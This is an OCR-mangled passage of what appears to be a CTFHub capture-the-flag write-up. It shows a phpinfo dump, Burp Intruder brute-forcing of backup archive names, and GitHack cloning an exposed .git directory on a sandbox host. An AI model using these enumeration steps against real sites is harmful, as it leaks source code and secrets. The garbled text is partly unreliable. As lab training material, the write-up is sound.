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System Linux challenge-f2906d2423a159a4-5d565f98f4-Bgpcl 4.19.24-7.25.al7.x86_64 #1 SMP Mon Mar 15
11:48:21 CST 2021 x86_64
Build Date Feb 1 2020 20:09:30
Configure Command "feonfigure' '--build=x86_64-linux-gnu' "--with-config-file-path=/usr/local/etc/php" --with-config-file-

scan-dir=fusr/local/etc/php/conf.d' *--enable-option-checking=fatal' '--with-mhash' *--enable-ftp' *--
enable-mbstring’ "--enable-mysqind’ '--with-password-argon2’ '--with-sodium=shared" '--with-pdo-
sqlite=/usr' '--with-sglite3=/usr' "--with-curl’ --with-libedit' *--with-openssl’ '--with-zlib" '--with-
libdir=lib/xB6_64-linux-gnu’ '--with-apxs2' '--disable-cgi' 'build_alias=x86_64-linux-gnu’

Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path Jusrflocalfetc/php
Loaded Configuration File [none)
Scan this dir for additional .ini files Jusrflocal/etc/php/conf.d
Additional .ini files parsed Jusrflocalfetc/php/conf.d/docker-php-ext-sodium.ini
PHP API 20180731
PHP Extension 20180731
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Environment

APACHE_RUN_DIR fvarfrunfapache2

APACHE_PID FILE Jfvarfrunfapache2/apache2.pid

PATH Jusrflocalfsbinfusrflocal/binyusr/sbin:/usr/biny/sbin:y/bin

APACHE LOCK DIR Jvarflock/fapache2

LANG C

APACHE_RUN_USER www-data

APACHE_RUN_GROUP www-data

APACHE LOG DIR Jvarflogfapache2

PWD /
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Attack Sawve Columns
Results | Target I Positions T Payloads IOptions ]

Filter: Showing all items

Request | Payload1 | Payload2 Status | Error |'I'|meout | Length v | Comment
19 www zip 200 | | 1442

0 404 0 0 324

1 web tar 404 ] [ 324

2 website tar 404 J [] 324

3 backup tar 404 ] [ 324

4 back tar 404 J [] 324

5 WWwW tar 404 ] [ 324

6 wwwwroot tar 404 J [] 322 e
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git clone https://github.com/lijiejie/GitHack.git

4. R GitHack T E¥ M35 JERHS clone F|4<Hh



medicean@Lumia: ~/workspace/GitHack
= GitHack git:(master) python GitHack.py http://challenge-f8e28984e486969.sandbox. ctfhub.com:10080/.git/
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fatal: € F 'http://challenge-f8e28984e486f969.sandbox.ctfhub. com:10080/.git/" * 1% &l

[-] Clone Error

[*] Try to Clone with Directory
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[*] Try to cle ith Cache

[*] Initic
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medicean@Lumia: ~/workspace/GitHack/dist/challenge-f8e28984e486f969.sanc
= challenge-18e28984e4861969. sandbox.ctfhub.com_10080 git:(master) cat .git/refs/stash

e7ladal8a9de3d357af1262aa5d2f71ec911e200
|
= challenge-f8e28984e486f969.sandbox.ctfhub.com_10080 git:(master) | %fﬂjlﬂlﬁl‘ﬁim
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